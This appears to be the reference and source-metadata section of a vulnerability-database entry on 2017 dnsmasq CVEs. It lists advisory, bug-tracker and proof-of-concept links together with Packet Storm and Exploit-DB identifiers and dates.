url:https://bugzilla.redhat.com/show_bug.cgi?id=1495410

Trust: 0.3

url:https://www.debian.org/security/2017/dsa-3989

Trust: 0.3

url:https://access.redhat.com/security/cve/cve-2017-13704

Trust: 0.3

url:https://access.redhat.com/security/cve/cve-2017-14492

Trust: 0.3

url:https://bugzilla.redhat.com/show_bug.cgi?id=1495416

Trust: 0.3

url:https://access.redhat.com/security/cve/cve-2017-14496

Trust: 0.3

url:https://bugzilla.redhat.com/show_bug.cgi?id=1495415

Trust: 0.3

url:http://www.slackware.com/security/viewer.php?l=slackware-security&y=2017&m=slackware-security.601472

Trust: 0.3

url:https://access.redhat.com/security/cve/cve-2017-14493

Trust: 0.3

url:https://github.com/google/security-research-pocs/blob/master/vulnerabilities/dnsmasq/cve-2017-14493.py

Trust: 0.3

url:https://github.com/google/security-research-pocs/blob/master/vulnerabilities/dnsmasq/cve-2017-14491.py

Trust: 0.3

url:http://www.thekelleys.org.uk/dnsmasq/doc.html

Trust: 0.3

url:https://bugzilla.redhat.com/show_bug.cgi?id=1495412

Trust: 0.3

url:https://access.redhat.com/errata/rhsa-2017:2837

Trust: 0.3

url:http://www.thekelleys.org.uk/dnsmasq/changelog

Trust: 0.3

url:https://github.com/google/security-research-pocs/blob/master/vulnerabilities/dnsmasq/cve-2017-14495.py

Trust: 0.3

url:https://github.com/kubernetes/kubernetes/blob/master/changelog.md

Trust: 0.3

sources: BID: 101085 // PACKETSTORM: 144468 // PACKETSTORM: 144473 // PACKETSTORM: 144462 // PACKETSTORM: 144471 // PACKETSTORM: 144480 // PACKETSTORM: 144479 // EXPLOIT-DB: 42941 // EDBNET: 94395 // EDBNET: 94654 // EDBNET: 94657 // EDBNET: 94656 // EDBNET: 94655 // EDBNET: 94653

SOURCES

db:BIDid:101085
db:PACKETSTORMid:144468
db:PACKETSTORMid:144473
db:PACKETSTORMid:144462
db:PACKETSTORMid:144471
db:PACKETSTORMid:144480
db:PACKETSTORMid:144479
db:EXPLOIT-DBid:42941
db:EDBNETid:94395
db:EDBNETid:94654
db:EDBNETid:94657
db:EDBNETid:94656
db:EDBNETid:94655
db:EDBNETid:94653

LAST UPDATE DATE

2024-03-21T15:11:49.684000+00:00


SOURCES UPDATE DATE

db:BIDid:101085date:2017-10-02T00:00:00

SOURCES RELEASE DATE

db:BIDid:101085date:2017-10-02T00:00:00
db:PACKETSTORMid:144468date:2017-10-02T05:22:22
db:PACKETSTORMid:144473date:2017-10-02T10:01:11
db:PACKETSTORMid:144462date:2017-10-02T03:33:33
db:PACKETSTORMid:144471date:2017-10-02T08:32:22
db:PACKETSTORMid:144480date:2017-10-02T16:22:22
db:PACKETSTORMid:144479date:2017-10-02T14:44:44
db:EXPLOIT-DBid:42941date:2017-10-02T00:00:00
db:EDBNETid:94395date:2017-10-02T00:00:00
db:EDBNETid:94654date:2017-10-13T00:00:00
db:EDBNETid:94657date:2017-10-13T00:00:00
db:EDBNETid:94656date:2017-10-13T00:00:00
db:EDBNETid:94655date:2017-10-13T00:00:00
db:EDBNETid:94653date:2017-10-13T00:00:00